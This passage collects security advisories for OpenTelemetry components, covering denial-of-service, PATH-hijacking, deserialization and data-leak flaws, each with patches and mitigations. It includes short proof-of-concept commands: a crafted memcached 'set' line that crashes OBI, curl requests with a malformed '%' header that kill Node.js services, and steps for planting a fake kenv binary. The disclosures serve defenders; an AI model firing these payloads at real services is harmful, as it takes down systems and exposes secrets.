3. From the same repository root, send a crafted memcached storage command from inside the instrumented testserver container. On 64-bit systems, use 9223372036854775807 (math.MaxInt):
bash docker compose \ -f internal/test/oats/memcached/docker-compose-include-base.yml \ -f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \ exec testserver \ python -c 'import socket; s=socket.createconnection(("memcached",11211), timeout=5); s.sendall(b"set crash 0 0 9223372036854775807\r\nvalue\r\n"); s.close()'
On 32-bit systems, replace 9223372036854775807 with 2147483647.
4. OBI parses the request header, accepts the <bytes> field as an int, and computes:
go payloadLen = bytesField + len("\r\n")
5. That addition overflows negative and the negative payloadLen is passed to LargeBufferReader.Peek, which slices with an invalid bound and panics.
6. Confirm the crash by checking the autoinstrumenter container status or logs:
bash docker compose \ -f internal/test/oats/memcached/docker-compose-include-base.yml \ -f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \ ps autoinstrumenter
bash docker compose \ -f internal/test/oats/memcached/docker-compose-include-base.yml \ -f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \ logs autoinstrumenter
The expected result is that the OBI process crashes with a panic originating from LargeBufferReader.Peek, with the call path including memcachedConsumeStoragePayload.
Impact
This is a remote denial-of-service vulnerability in OBI's memcached protocol parsing path.
Impacted deployments are those where:
- OBI is running with the vulnerable memcached parser, and - OBI observes memcached text protocol traffic from applications or services that an attacker can reach or influence.
A successful attack does not require code execution or authentication against OBI itself. An attacker only needs to cause a vulnerable instrumented service to emit or receive a crafted memcached storage command. The result is a panic in OBI and loss of telemetry collection until the process is restarted.
OpenTelemetry Java Instrumentation provides OpenTelemetry auto-instrumentation and instrumentation libraries for Java. In versions prior to 2.27.0, the RMI context propagation payload reader limits the number of context entries but does not limit the aggregate size of the strings read from the stream. An attacker who can reach an RMI endpoint on an instrumented JVM can send an oversized context propagation payload. This can cause excessive memory allocation while the JVM reads the payload, potentially leading to denial of service. The issue affects only deployments where RMI instrumentation is enabled and an RMI endpoint is network-reachable. This issue has been fixed in version 2.27.0.
Summary
@opentelemetry/propagator-jaeger decodes incoming HTTP header values with decodeURIComponent() without handling decode errors. A single request carrying a malformed percent-encoded value (for example a bare %) in an uber-trace-id or uberctx- header throws an uncaught URIError, terminating any Node.js process that uses JaegerPropagator as its active propagator.
Impact
Denial of Service: Any unauthenticated remote attacker who can send an HTTP request to a service that has JaegerPropagator registered as the global propagator (e.g. via OTELPROPAGATORS=jaeger or propagation.setGlobalPropagator(new JaegerPropagator())) can terminate the process with a single request. Confidentiality and integrity are not affected.
Am I affected?
This issue affects only a specific, opt-in configuration. If you use OpenTelemetry's default propagators (W3C TraceContext and Baggage), you are not affected.
You are affected only if you have registered JaegerPropagator as the active propagator. Check for:
- @opentelemetry/propagator-jaeger in your dependency tree, and - OTELPROPAGATORS set to jaeger (Jaeger only), or a direct propagation.setGlobalPropagator(new JaegerPropagator()) call in your code.
Note: if JaegerPropagator is combined with other propagators through a CompositePropagator (for example OTELPROPAGATORS=jaeger,tracecontext), the process does not terminate - the composite propagator catches the error - but affected requests silently fail to extract context. You should still upgrade.
Patched versions
- @opentelemetry/propagator-jaeger 2.9.0
Remediation
Update @opentelemetry/propagator-jaeger to 2.9.0 or later. The propagator now ignores header values it cannot decode instead of throwing.
Interim mitigation (if you cannot update): Trace-context headers should never be accepted unfiltered from untrusted callers. Until you can upgrade, strip or validate the uber-trace-id and uberctx- headers on inbound requests at your edge - for example with a reverse proxy, API gateway, or load balancer (nginx, Envoy, etc.) - so that only trusted upstream services can set them.
Details
JaegerPropagator.extract() calls decodeURIComponent() on raw header values at two unguarded call sites: the uber-trace-id trace header and each uberctx- baggage value. decodeURIComponent() throws URIError: URI malformed on invalid percent-encoding. Because the HTTP instrumentation extracts context before its request-handler error wrapper, and a single configured propagator is not wrapped in a CompositePropagator (which would otherwise catch the error), the exception propagates as an uncaughtException and terminates the process.
Proof of concept
Against a service using JaegerPropagator:
bash curl -H 'uberctx-user: %' http://target/ or curl -H 'uber-trace-id: %' http://target/
The Node.js process exits with URIError: URI malformed and subsequent requests are refused.
Summary Autoinstrumentation out of the box adds the label httpmethod that has unbound cardinality. It leads to the server's potential memory exhaustion when many malicious requests are sent.
Details HTTP method for requests can be easily set by an attacker to be random and long.
PoC Send many requests with long randomly generated HTTP methods and observe how memory consumption increases during it. The app can be like this example from the official docs.
Impact In order to be affected program has to be instrumented for HTTP handlers and does not filter any unknown HTTP methods on the level of CDN, LB, previous middleware, etc.
Proposed solution For convenience and safe usage of this library, it should by default mark with the label UNKNOWN non-standard HTTP methods to show that such requests were made (and this way does not increase cardinality). In case someone wants to stay with the current behavior, library API should allow it. The mechanism with environment variables can be reused - introduce the variable OTELINSTRUMENTATIONHTTPCAPTUREALLMETHODS that will allow enabling current behavior when someone really wants it.
Summary
This handler wrapper https://github.com/open-telemetry/opentelemetry-go-contrib/blob/5f7e6ad5a49b45df45f61a1deb29d7f1158032df/instrumentation/net/http/otelhttp/handler.go#L63-L65 out of the box adds labels
- http.useragent - http.method
that have unbound cardinality. It leads to the server's potential memory exhaustion when many malicious requests are sent to it.
Details
HTTP header User-Agent or HTTP method for requests can be easily set by an attacker to be random and long. The library internally uses httpconv.ServerRequest that records every value for HTTP method and User-Agent.
PoC
Send many requests with long randomly generated HTTP methods or/and User agents (e.g. a million) and observe how memory consumption increases during it.
Impact
In order to be affected, the program has to configure a metrics pipeline, use otelhttp.NewHandler wrapper, and does not filter any unknown HTTP methods or User agents on the level of CDN, LB, previous middleware, etc.
Others
It is similar to already reported vulnerabilities - https://github.com/open-telemetry/opentelemetry-go-contrib/security/advisories/GHSA-5r5m-65gx-7vrh (open-telemetry/opentelemetry-go-contrib) - https://github.com/advisories/GHSA-cg3q-j54f-5p7p (prometheus/clientgolang)
Workaround for affected versions
As a workaround to stop being affected otelhttp.WithFilter() can be used, but it requires manual careful configuration to not log certain requests entirely.
For convenience and safe usage of this library, it should by default mark with the label unknown non-standard HTTP methods and User agents to show that such requests were made but do not increase cardinality. In case someone wants to stay with the current behavior, library API should allow to enable it.
The other possibility is to disable HTTP metrics instrumentation by passing otelhttp.WithMeterProvider option with noop.NewMeterProvider.
Solution provided by upgrading
In PR https://github.com/open-telemetry/opentelemetry-go-contrib/pull/4277, released with package version 0.44.0, the values collected for attribute http.request.method were changed to be restricted to a set of well-known values and other high cardinality attributes were removed.
References
- https://github.com/open-telemetry/opentelemetry-go-contrib/pull/4277 - https://github.com/open-telemetry/opentelemetry-go-contrib/releases/tag/v1.19.0
Summary
The grpc Unary Server Interceptor opentelemetry-go-contrib/instrumentation/google.golang.org/grpc/otelgrpc/interceptor.go
// UnaryServerInterceptor returns a grpc.UnaryServerInterceptor suitable // for use in a grpc.NewServer call. func UnaryServerInterceptor(opts ...Option) grpc.UnaryServerInterceptor { out of the box adds labels
- net.peer.sock.addr - net.peer.sock.port
that have unbound cardinality. It leads to the server's potential memory exhaustion when many malicious requests are sent.
Details
An attacker can easily flood the peer address and port for requests.
PoC
Apply the attached patch to the example and run the client multiple times. Observe how each request will create a unique histogram and how the memory consumption increases during it. Impact
In order to be affected, the program has to configure a metrics pipeline, use UnaryServerInterceptor, and does not filter any client IP address and ports via middleware or proxies, etc.
Others
It is similar to already reported vulnerabilities.
GHSA-rcjv-mgp8-qvmr (open-telemetry/opentelemetry-go-contrib) - GHSA-5r5m-65gx-7vrh (open-telemetry/opentelemetry-go-contrib) - GHSA-cg3q-j54f-5p7p (prometheus/clientgolang)
Workaround for affected versions
As a workaround to stop being affected, a view removing the attributes can be used.
The other possibility is to disable grpc metrics instrumentation by passing otelgrpc.WithMeterProvider option with noop.NewMeterProvider.
Solution provided by upgrading
In PR #4322, to be released with v0.46.0, the attributes were removed.
References
- #4322
Summary
The fix for GHSA-9h8m-3fm2-qjrq (CVE-2026-24051) changed the Darwin ioreg command to use an absolute path but left the BSD kenv command using a bare name, allowing the same PATH hijacking attack on BSD and Solaris platforms.
Root Cause
sdk/resource/hostid.go line 42:
if result, err := r.execCommand("kenv", "-q", "smbios.system.uuid"); err == nil {
Compare with the fixed Darwin path at line 58:
result, err := r.execCommand("/usr/sbin/ioreg", "-rd1", "-c", "IOPlatformExpertDevice")
The execCommand helper at sdk/resource/hostidexec.go uses exec.Command(name, arg...) which searches $PATH when the command name contains no path separator.
Affected platforms (per build tag in hostidbsd.go:4): DragonFly BSD, FreeBSD, NetBSD, OpenBSD, Solaris.
The kenv path is reached when /etc/hostid does not exist (line 38-40), which is common on FreeBSD systems.
Attack
1. Attacker has local access to a system running a Go application that imports go.opentelemetry.io/otel/sdk 2. Attacker places a malicious kenv binary earlier in $PATH 3. Application initializes OpenTelemetry resource detection at startup 4. hostIDReaderBSD.read() calls exec.Command("kenv", ...) which resolves to the malicious binary 5. Arbitrary code executes in the context of the application
Same attack vector and impact as CVE-2026-24051.
Suggested Fix
Use the absolute path:
if result, err := r.execCommand("/bin/kenv", "-q", "smbios.system.uuid"); err == nil {
On FreeBSD, kenv is located at /bin/kenv.
Impact The OpenTelemetry Go SDK in version v1.20.0-1.39.0 is vulnerable to Path Hijacking (Untrusted Search Paths) on macOS/Darwin systems. The resource detection code in sdk/resource/hostid.go executes the ioreg system command using a search path. An attacker with the ability to locally modify the PATH environment variable can achieve Arbitrary Code Execution (ACE) within the context of the application.
Patches This has been patched in d45961b, which was released with v1.40.0.
References - CWE-426: Untrusted Search Path
OpenTelemetry-Go is the Go implementation of OpenTelemetry. From 1.36.0 to 1.40.0, multi-value baggage: header extraction parses each header field-value independently and aggregates members across values. This allows an attacker to amplify cpu and allocations by sending many baggage: header lines, even when each individual value is within the 8192-byte per-value parse limit. This vulnerability is fixed in 1.41.0.
OpenTelemetry-Go is the Go implementation of OpenTelemetry. From 1.15.0 to 1.42.0, the fix for CVE-2026-24051 changed the Darwin ioreg command to use an absolute path but left the BSD kenv command using a bare name, allowing the same PATH hijacking attack on BSD and Solaris platforms. This vulnerability is fixed in 1.43.0.
OpenTelemetry Java Instrumentation provides OpenTelemetry auto-instrumentation and instrumentation libraries for Java. In versions prior to 2.26.1, the RMI instrumentation registered a custom endpoint that deserialized incoming data without applying serialization filters. On JDK version 16 and earlier, an attacker with network access to a JMX or RMI port on an instrumented JVM could exploit this to potentially achieve remote code execution. All three of the following conditions must be true to exploit this vulnerability: First, OpenTelemetry Java instrumentation is attached as a Java agent (-javaagent) on Java 16 or earlier. Second, JMX/RMI port has been explicitly configured via -Dcom.sun.management.jmxremote.port and is network-reachable. Third, gadget-chain-compatible library is present on the classpath. This results in arbitrary remote code execution with the privileges of the user running the instrumented JVM. For JDK >= 17, no action is required, but upgrading is strongly encouraged. For JDK < 17, upgrade to version 2.26.1 or later. As a workaround, set the system property -Dotel.instrumentation.rmi.enabled=false to disable the RMI integration.
opentelemetry-java is the Java implementation of the OpenTelemetry API for recording telemetry, and SDK for managing telemetry recorded by the API. Prior to 1.62.0, a vulnerability affects the baggage propagation implementation in opentelemetry-api and opentelemetry-extension-trace-propagators. Parsing oversized baggage causes unbounded memory allocation and CPU consumption. Because baggage is automatically re-injected into every outgoing request, the effect can fan out to downstream services that never received the original malicious request. This vulnerability is fixed in 1.62.0.
OpenTelemetry-Go is the Go implementation of OpenTelemetry. Prior to 1.43.0, the otlp HTTP exporters (traces/metrics/logs) read the full HTTP response body into an in-memory bytes.Buffer without a size cap. This is exploitable for memory exhaustion when the configured collector endpoint is attacker-controlled (or a network attacker can mitm the exporter connection). This vulnerability is fixed in 1.43.0.
Summary
OBI exports raw Redis error text as the span status message. Because Redis error replies can contain attacker-controlled or sensitive values, this behavior can exfiltrate tokens, PII, or other confidential input into telemetry backends and inject untrusted text into downstream analysis systems.
Details
In pkg/ebpf/common/redisdetecttransform.go, getRedisError trims the raw error buffer and stores it directly in request.DBError.Description.
Later, pkg/appolly/app/request/span.go returns that description as the exported status message for Redis spans whenever the span status is non-zero.
There is no opt-in control or sanitization beyond CRLF trimming. As a result, raw Redis error text becomes part of OTLP-exported status metadata by default.
PoC
Local request-layer testing recorded a status message containing ERR invalid password for user bob secret=TOPSECRET, which shows that unfiltered Redis error text reaches the exported status message.
Use a vulnerable build:
bash git checkout v0.0.0-rc.1+build make build
Start Redis and OBI:
bash docker run --rm -p 6379:6379 redis:7 sudo ./bin/obi
Send a command that causes Redis to return an error containing caller-supplied text:
bash redis-cli -p 6379 'NOTACMD my-secret-token-123'
Capture the exported span or inspect the local telemetry output. On a vulnerable build, the span status message contains the Redis error text, including the supplied command fragment. This demonstrates that raw Redis error text is exported into telemetry by default and that values embedded in that text, including data supplied unintentionally by a caller, can be carried into tracing systems.
Impact
This is an information disclosure and telemetry injection issue. It affects any deployment that traces Redis traffic and exports spans to collectors, logs, or dashboards. Sensitive values, tokens, or PII present in Redis error text can be exfiltrated into telemetry systems, and untrusted text can contaminate downstream analysis.
OpenTelemetry Java Instrumentation JDBC auto-instrumentation may fail to sanitize passwords in SQL CONNECT statements when the password is double-quoted. As a result, clear-text database passwords can be added to trace span attributes and exported to observability backends.
Summary
[!IMPORTANT] There is no plan to fix this issue as OpenTelemetry.Exporter.Jaeger was deprecated in 2023. It is for informational purposes only.
OpenTelemetry.Exporter.Jaeger may allow sustained memory pressure when the internal pooled-list sizing grows based on a large observed span/tag set and that enlarged size is reused for subsequent allocations. Under high-cardinality or attacker-influenced telemetry input, this can increase memory consumption and potentially cause denial of service.
Details
The Jaeger exporter conversion path can append tag/event data into pooled list structures. In affected versions, pooled allocation sizing may be influenced by large observed payloads and reused globally across later allocations, resulting in persistent oversized rentals and elevated memory pressure. In environments where telemetry attributes/events can be influenced by untrusted input and limits are increased from defaults, this may lead to process instability or denial of service.
Impact
Availability impact only. Confidentiality and integrity impacts are not expected.
Workarounds / Mitigations
Prefer maintained exporters (for example OpenTelemetry Protocol format (OTLP)) instead of the Jaeger exporter.
Summary
When exporting telemetry to a back-end/collector over gRPC or HTTP using OpenTelemetry Protocol format (OTLP), if the request results in a unsuccessful request (i.e. HTTP 4xx or 5xx), the response is read into memory with no upper-bound on the number of bytes consumed.
This could cause memory exhaustion in the consuming application if the configured back-end/collector endpoint is attacker-controlled (or a network attacker can MitM the connection) and an extremely large body is returned by the response.
Details
https://github.com/open-telemetry/opentelemetry-dotnet/pull/6564 introduced a change to read the response body when a non-200 HTTP status code is received when exporting telemetry to aid debugging by operators so that the error response is included in the logs emitted by the exporter for both gRPC and HTTP/protobuf.
An unintended consequence of this change is that the response body is fully read into memory when received with no upper-bound.
This vulnerability was surfaced during the investigation of GHSA-w8rr-5gcm-pp58.
Impact
If an application using the OTLP exporter is configured to use a back-end/collector endpoint that is attacker-controlled (or a network attacker can MitM the connection) and an extremely large body is returned by the response the application could have its memory exhausted and create a denial-of-service condition.
Mitigation
The application's configured back-end/collector endpoint needs to behave maliciously. If the collector/back-end is a well-behaved implementation response bodies should not be excessively large if a request error occurs.
Workarounds
None known.
Remediation
#7017 updates the OTLP exporter for both gRPC and HTTP to:
- Limit the number of bytes read from the response body in an error condition to 4MiB (see https://github.com/open-telemetry/opentelemetry-proto/pull/781); - Only attempt to read the response body if OpenTelemetry error logging is enabled.
Summary
OpenTelemetry.Resources.Azure reads unbounded HTTP response bodies from the Azure VM remote instance metadata service endpoint into memory.
This would allow an attacker-controlled endpoint or one acting as a Man-in-the-Middle (MitM) to cause excessive memory allocation and possible process termination (via Out of Memory (OOM)).
Details
The AzureVmMetaDataRequestor class makes HTTP requests to the relevant Azure VM instance metadata service (http://169.254.169.254) to obtain metadata about the running process and its infrastructure.
An attacker who controls the configured endpoint, or who can intercept traffic to them (MiTM), can return an arbitrarily large response body. This causes unbounded heap allocation in the consuming process, leading to high transient memory pressure, garbage-collection stalls, or an OutOfMemoryException that terminates the process.
Impact
Denial of Service (DoS). An attacker can destabilize or crash the application by forcing unbounded memory allocation through the Azure VM instance metadata HTTP response paths.
Mitigating Factors
The application's reachable Azure VM metadata endpoint needs to behave maliciously or be subject to MitM. In normal usage response bodies should not be excessively large.
Patches
Fixed in OpenTelemetry.Resources.Azure version 1.15.0-beta.2.
The fix (#4121) introduce changes that introduce limits to HttpClient requests so that the response body is streamed rather than buffered entirely in memory. Responses greater than 4 MiB are ignored.
Workarounds
- Disable the Azure VM resource detector. - Use network-level controls (firewall rules, mTLS, service mesh) to prevent Man-in-the-Middle (MitM) attacks on the Azure VM instance metadata endpoint.
References
- #4121
Summary
When exporting telemetry to a back-end/collector over HTTP using the OpenTelemetry.Exporter.OneCollector exporter, if the request results in a unsuccessful request (i.e. HTTP 4xx or 5xx), the response is read into memory with no upper-bound on the number of bytes consumed.
This could cause memory exhaustion in the consuming application if the configured back-end/collector endpoint is attacker-controlled (or a network attacker can MitM the connection) and an extremely large body is returned by the response.
Details
The HttpJsonPostTransport class reads the response body when a non-200 HTTP status code is received when exporting telemetry to aid debugging by operators so that the error response is included in the logs emitted by the exporter.
An attacker who controls the configured endpoint, or who can intercept traffic to them (MiTM), can return an arbitrarily large response body. This causes unbounded heap allocation in the consuming process, leading to high transient memory pressure, garbage-collection stalls, or an OutOfMemoryException that terminates the process.
Impact
If an application using the OneCollector exporter is configured to use a back-end/collector endpoint that is attacker-controlled (or a network attacker can MitM the connection) and an extremely large body is returned by the response the application could have its memory exhausted and create a denial-of-service condition.
Mitigation
The application's configured back-end/collector endpoint needs to behave maliciously. If the collector/back-end is a well-behaved implementation response bodies should not be excessively large if a request error occurs.
Workarounds
Use network-level controls (firewall rules, mTLS, service mesh) to prevent Man-in-the-Middle (MitM) attacks on the configured back-end/collector endpoint.
Remediation
#4117 updates the OneCollector exporter to limit the number of bytes read from the response body in an error condition to 4MiB.
Resources
- #4117